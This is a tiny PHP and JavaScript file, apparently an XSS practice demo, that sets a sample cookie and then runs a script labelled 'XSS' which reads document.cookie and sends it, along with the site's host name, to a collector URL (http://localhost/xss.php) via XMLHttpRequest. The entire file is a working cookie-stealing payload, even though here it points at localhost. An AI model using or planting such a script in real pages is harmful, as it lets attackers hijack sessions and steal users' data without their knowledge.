<?php
	setcookie("tel",13251111111);
?>
<script>
	var cookies = document.cookie.replace(/\s*;\s*/,"&");//XSS
	var url = "http://localhost/xss.php?host="+location.host+"&"+cookies;
	var ajax = window.XMLHttpRequest?new XMLHttpRequest():new ActiveXObject("Microsoft.XMLHTTP");
	ajax.open("get",url,true);
	ajax.send(null);
</script>